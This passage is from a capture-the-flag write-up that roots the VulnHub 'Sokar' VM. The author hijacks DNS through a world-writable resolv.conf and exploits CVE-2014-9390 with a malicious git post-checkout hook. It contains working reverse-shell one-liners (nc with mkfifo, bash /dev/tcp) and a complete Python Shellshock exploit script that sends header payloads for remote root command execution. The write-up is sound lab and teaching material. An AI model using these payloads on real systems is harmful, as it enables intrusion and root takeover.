Right before this call though, there is a instruction to call 0x5555555547a0 <setreuid@plt> to set the UID to 0. So, this brought me to the conclusion that build is running /usr/bin/git clone ssh://root@sokar-dev:/root/secret-project /mnt/secret-project/ as root. But what is so special about this?

inspecting git

I did a lot of poking around here, wondering if I should pursue the avenue of trying to exploit the b0f which has the SSP, or should I try and figure out the significance of a git clone as root? One of my first theories was that if I could get sokar-dev to resolve to something I am in control of (like my Kali vm), I could attempt to have git clone a setuid shell. This was, of course, before I remembered that the only permissions git will honor really is the symlink and executable bits :(

Further enumeration while I was thinking about the possibilities revealed that /mnt/ was actually mounted with the vfat filesystem!

leonjza@kali/sokar $ python apophis.py "mount; cat /etc/fstab"
 * Executing /usr/bin/python -c "import time; time.sleep(2); print 'overdrive'" | /usr/bin/python -c "import pty; pty.spawn(['/bin/su', '-l', '-c','mount; cat /etc/fstab', 'apophis']);"

Password:
/dev/sda1 on / type ext4 (rw)
proc on /proc type proc (rw)
sysfs on /sys type sysfs (rw)
devpts on /dev/pts type devpts (rw,gid=5,mode=620)
tmpfs on /dev/shm type tmpfs (rw)
/dev/sdb1 on /mnt type vfat (rw,uid=501,gid=502)
none on /proc/sys/fs/binfmt_misc type binfmt_misc (rw)

#
# /etc/fstab
# Created by anaconda on Wed Nov 12 13:29:15 2014
#
# Accessible filesystems, by reference, are maintained under '/dev/disk'
# See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info
#
UUID=cdb3ac23-d831-4104-bc76-e3a56314b6e4 /                       ext4    defaults        1 1
tmpfs                   /dev/shm                tmpfs   defaults        0 0
devpts                  /dev/pts                devpts  gid=5,mode=620  0 0
sysfs                   /sys                    sysfs   defaults        0 0
proc                    /proc                   proc    defaults        0 0
/dev/sdb1       /mnt            vfat    defaults,uid=501,gid=502    0 0

As you can see, /mnt also specified the uid/gid for files on the mount, so even if I were able to get a suid shell onto the file system, root will not be the one owning it.

However. vfat. Why vfat… Of course! CVE-2014-9390. The potential client side code execution bug in older git versions where a case insensitive filesystem may cause the git client to read hooks from .Git/hooks instead of .git/hooks. And, of course, vfat is a case insensitive filesystem, which makes for the perfect scenario to exploit this bug.

I checked up on the installed version of git on Sokar, just to make sure that it is in fact vulnerable:

leonjza@kali/sokar $ python apophis.py "git --version"
 * Executing /usr/bin/python -c "import time; time.sleep(2); print 'overdrive'" | /usr/bin/python -c "import pty; pty.spawn(['/bin/su', '-l', '-c','git --version', 'apophis']);"

Password:
git version 2.2.0

Great. git version 2.2.1 fixed this bug so we are in luck.

rooting sokar

All of this information was great to have, but it still had one major problem. How can I clone a repository I own? I made countless attempts to try fool the environment into resolving sokar-dev to my Kali Host. Every single one failed. All of the material on the topic that I found online suggest that the SUID process ‘cleans up’ the environment, especially for reasons such as this one.

I started doubting my plan and was nearing a point of leaving Sokar for a bit to rethink my strategy when I realized the following gem:

leonjza@kali/sokar $ python apophis.py "find /etc/ -writable -type f 2>/dev/null | xargs ls -lh"
 * Executing /usr/bin/python -c "import time; time.sleep(2); print 'overdrive'" | /usr/bin/python -c "import pty; pty.spawn(['/bin/su', '-l', '-c','find /etc/ -writable -type f 2>/dev/null | xargs ls -lh', 'apophis']);"

Password:
-rw-rw-rw- 1 root root 19 Jan  2 20:12 /etc/resolv.conf

/etc/resolv.conf is world writable. This is perfect! I can change the DNS server to use to one that I control, obviously feeding it a IP that will be my local Kali instance :D

preparing the environment and exploit

I decided to use dnsmasq for a quick to setup DNS server. I added a line to /etc/dnsmasq.hosts to answer a query for sokar-dev:

leonjza@kali/sokar $ cat /etc/dnsmasq.hosts
192.168.217.174 sokar-dev

… and started the dnsmasq server:

leonjza@kali/sokar $ dnsmasq --no-daemon --log-queries -H /etc/dnsmasq.hosts

dnsmasq: started, version 2.62 cachesize 150
dnsmasq: compile time options: IPv6 GNU-getopt DBus i18n IDN DHCP DHCPv6 no-Lua TFTP conntrack
dnsmasq: reading /etc/resolv.conf
dnsmasq: using nameserver 192.168.252.2#53
dnsmasq: read /etc/hosts - 6 addresses
dnsmasq: read /etc/dnsmasq.hosts - 1 addresses

Testing my DNS server proved that it was working just fine:

leonjza@kali/sokar $ dig sokar-dev @127.0.0.1

; <<>> DiG 9.8.4-rpz2+rl005.12-P1 <<>> sokar-dev @127.0.0.1
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 48044
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;sokar-dev.         IN  A

;; ANSWER SECTION:
sokar-dev.      0   IN  A   192.168.217.174

;; Query time: 13 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Tue Feb  3 12:12:02 2015
;; MSG SIZE  rcvd: 43

Awesome. The next step was to replace the contents of Sokar’s /etc/resolv.conf so that the dns server to use is 192.168.217.174 with the command python apophis.py "echo \"nameserver\ 192.168.217.174\" > /etc/resolv.conf" and confirm that it worked:

leonjza@kali/sokar $ python apophis.py "cat /etc/resolv.conf"
 * Executing /usr/bin/python -c "import time; time.sleep(2); print 'overdrive'" | /usr/bin/python -c "import pty; pty.spawn(['/bin/su', '-l', '-c','cat /etc/resolv.conf', 'apophis']);"

Password:
nameserver 192.168.217.174

Great. Testing time!

leonjza@kali/sokar $ python apophis.py "echo Y | /home/apophis/build"
 * Executing /usr/bin/python -c "import time; time.sleep(2); print 'overdrive'" | /usr/bin/python -c "import pty; pty.spawn(['/bin/su', '-l', '-c','echo Y | /home/apophis/build', 'apophis']);"

Password:
Cloning into '/mnt/secret-project'...
Host key verification failed.
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
Build? (Y/N)

Yesssssss, and nooooooooo. From the dnsmasq console output I could see the request for sokar-dev coming in and a reply getting sent:

dnsmasq: query[A] sokar-dev from 192.168.217.163
dnsmasq: /etc/dnsmasq.hosts sokar-dev is 192.168.217.174

However, in order for the SSH session to happen, I need to either accept or bypass the host key verification. There are many ways to do this, but sadly, with my current (still! :D) nonexistent interactive shell, I can not type ‘yes’. I can not use ssh-keyscan >> ~/.ssh/known_hosts as I can’t write to root’s .ssh directory, nor can I modify the command that is being passed onto system() in the binary to specify -o StrictHostKeyChecking=no.

Unfortunately, due to these restrictions, I had to finally give in and go one step back to bynarr.py and use his allowed egress access on tcp/51242 to build a interactive shell. On one session I started a netcat listener, and on another, I ran python bynarr.py "/bin/rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.217.174 51242 >/tmp/f".

leonjza@kali/sokar $ nc -lvp 51242
listening on [any] 51242 ...
192.168.217.163: inverse host lookup failed: Unknown server error : Connection timed out
connect to [192.168.217.174] from (UNKNOWN) [192.168.217.163] 40382
sh: no job control in this shell
sh-4.1$ python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'
[bynarr@sokar cgi-bin]$ su - apophis
su - apophis
Password: overdrive

[apophis@sokar ~]$ id
id
uid=501(apophis) gid=502(apophis) groups=502(apophis)
[apophis@sokar ~]$

With the interactive shell as apophis now, I was able to accept the SSH hostkey check.

The next thing left on the list was to prepare a git repository that can actually be cloned. Setting one up is reaaaaally simple. Because I knew that it will be looking for /root/secret-project, I prepared just that on my Kali VM:

leonjza@kali/sokar $ cd /root
leonjza@kali/root $ mkdir secret-project
leonjza@kali/root $ cd secret-project
leonjza@kali/root/secret-project $ git init --bare
Initialized empty Git repository in /root/secret-project/
leonjza@kali/root/secret-project | git:master $

Thats it… Next, I cloned it locally in a different folder.

leonjza@kali/sokar $ git clone ssh://127.0.0.1/root/secret-project
Cloning into 'secret-project'...
root@127.0.0.1's password:
warning: You appear to have cloned an empty repository.
leonjza@kali/sokar $ cd secret-project
leonjza@kali/sokar/secret-project | git:master $

Done. Working from a PoC exploit found here, I continued to prepare a similar exploit, except for the fact that I changed the actual hook to connect to my Mac (hosting the VM’s) on a tcp/22 netcat listener, spawning a shell. I knew tcp/22 traffic was allowed due to the SSH host key verification step that needed some work :)

leonjza@kali/sokar/secret-project | git:master $ mkdir .Git
leonjza@kali/sokar/secret-project | git:master $ cd .Git
leonjza@kali/sokar/secret-project/.Git | git:master $ mkdir hooks
leonjza@kali/sokar/secret-project/.Git | git:master $ cd hooks
leonjza@kali/sokar/secret-project/.Git/hooks | git:master $ vim post-checkout
leonjza@kali/sokar/secret-project/.Git/hooks | git:master $ cat post-checkout
#!/bin/sh
bash -i >& /dev/tcp/192.168.217.1/22 0>&1
leonjza@kali/sokar/secret-project/.Git/hooks | git:master $ chmod +x ./post-checkout
leonjza@kali/sokar/secret-project/.Git/hooks | git:master $ git add -A
leonjza@kali/sokar/secret-project/.Git/hooks | git:master $ git commit -m 'pwnd'
[master (root-commit) ee364fd] pwnd
 Committer: root <root@localhost.localdomain>

 1 file changed, 2 insertions(+)
 create mode 100755 .Git/hooks/post-checkout
leonjza@kali/sokar/secret-project/.Git/hooks | git:master $ git push -u origin master
root@127.0.0.1's password:
Counting objects: 5, done.
Compressing objects: 100% (2/2), done.
Writing objects: 100% (5/5), 345 bytes, done.
Total 5 (delta 0), reused 0 (delta 0)
To ssh://127.0.0.1/root/secret-project
 * [new branch]      master -> master
Branch master set up to track remote branch master from origin.
leonjza@kali/sokar/secret-project/.Git/hooks | git:master $

With my evil repository ready, it was time to try that build again :)

[apophis@sokar ~]$ ./build
./build
Build? (Y/N) Y
Y
Cloning into '/mnt/secret-project'...
root@sokar-dev's password: # redact lol

remote: Counting objects: 5, done.
remote: Compressing objects: 100% (2/2), done.
Receiving objects: 100% (5/5), done.
remote: Total 5 (delta 0), reused 0 (delta 0)
Checking connectivity... done.

This shell just ‘hung’ there, however, the netcat listener on my Mac had a different story to tell:

leonjza@laptop » sudo nc -lv 22
Password:
[root@sokar secret-project]# cat /root/flag
cat /root/flag
                0   0
                |   |
            ____|___|____
         0  |~ ~ ~ ~ ~ ~|   0
         |  |   Happy   |   |
      ___|__|___________|___|__
      |/\/\/\/\/\/\/\/\/\/\/\/|
  0   |    B i r t h d a y    |   0
  |   |/\/\/\/\/\/\/\/\/\/\/\/|   |
 _|___|_______________________|___|__
|/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/|
|                                   |
|     V  u  l  n  H  u  b   ! !     |
| ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ |
|___________________________________|

=====================================
| Congratulations on beating Sokar! |
|                                   |
|  Massive shoutout to g0tmi1k and  |
| the entire community which makes  |
|         VulnHub possible!         |
|                                   |
|    rasta_mouse (@_RastaMouse)     |
=====================================
[root@sokar secret-project]#

conclusion

What a blast! Them feels of r00t are so gooood. For the curios, that firewall that was making life so difficult:

[root@sokar secret-project]# cat /etc/sysconfig/iptables
cat /etc/sysconfig/iptables
# Firewall configuration written by system-config-firewall
# Manual customization of this file is not recommended.
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
-A INPUT -p icmp -j DROP
-A INPUT -i lo -j ACCEPT
-A INPUT -m state --state ESTABLISHED -p tcp --sport 22 -j ACCEPT
-A INPUT -m state --state NEW,ESTABLISHED -p tcp --dport 591 -j ACCEPT
-A INPUT -p udp --sport 53 -j ACCEPT
-A OUTPUT -m state --state NEW,ESTABLISHED -m owner --uid-owner 0 -p tcp --dport 22 -j ACCEPT
-A OUTPUT -p udp --dport 53 -m owner --uid-owner 0 -j ACCEPT
-A OUTPUT -m state --state ESTABLISHED -p tcp --sport 591 -j ACCEPT
-A OUTPUT -m state --state NEW,ESTABLISHED -m owner --gid-owner 501 -p tcp --dport 51242 -j ACCEPT
-A OUTPUT -j DROP
COMMIT

edit

I have been wondering if it was possible to get complete remote root command execution using the sample python scripts used for apophis and bynarr. Well, turns out the lime script run with sudo can be shocked too!

#!/usr/bin/python

# 2015 Leon Jacobs
# sokar remote root command execution

import requests
import sys

if len(sys.argv) < 2:

    print " * Usage %s <cmd>" % sys.argv[0]
    sys.exit(1)

# Grab the command from the args
command = sys.argv[1].strip()

# prep to shock the lime script
root_command = """echo "N" | sudo MAIL=\\"() { :;}; %s;\\" /home/bynarr/lime""" % command

# prep to exec the command as bynarr
payload = """/usr/bin/python -c "import time; time.sleep(1); print 'fruity'" | /usr/bin/python -c "import pty; pty.spawn(['/bin/su','-c','%s', 'bynarr']);" """ % root_command

# be verbose about the full command
print " * Executing %s\n" % payload

# Send the sploit
headers = { "User-Agent": "() { :;};echo;%s" % payload }
print requests.get("http://192.168.217.163:591/cgi-bin/cat", headers=headers).text.strip()

Run with python root.py "/bin/cat /root/flag" :D

Thanks to @_RastaMouse for the VM, and as always, @VulnHub for the hosting and great community!